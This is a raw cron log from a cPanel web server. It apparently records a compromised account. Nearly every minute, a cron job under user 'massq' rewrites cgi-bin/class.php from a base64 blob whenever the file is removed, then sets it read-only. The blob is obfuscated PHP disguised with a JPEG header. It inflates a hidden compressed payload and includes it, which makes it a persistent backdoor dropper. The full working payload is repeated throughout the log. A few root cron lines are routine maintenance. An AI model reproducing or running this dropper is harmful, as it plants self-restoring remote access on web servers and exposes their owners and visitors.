Nov 14 21:55:01 server CROND[30666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:56:01 server CROND[31824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:57:01 server CROND[32698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:57:01 server CROND[32699]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 21:58:01 server CROND[1184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:59:01 server CROND[2206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:00:01 server CROND[3156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:00:01 server CROND[3157]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 22:00:01 server CROND[3155]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 22:00:01 server CROND[3158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:00:01 server CROND[3160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:01:01 server CROND[4110]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 22:01:01 server CROND[4111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:01:01 server run-parts(/etc/cron.hourly)[4110]: starting 0anacron
Nov 14 22:01:01 server run-parts(/etc/cron.hourly)[4123]: finished 0anacron
Nov 14 22:02:01 server CROND[5062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:03:01 server CROND[6000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:04:01 server CROND[6597]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:05:01 server CROND[7536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:05:01 server CROND[7535]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 22:05:01 server CROND[7534]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:05:01 server CROND[7537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:06:01 server CROND[8401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:07:01 server CROND[9524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
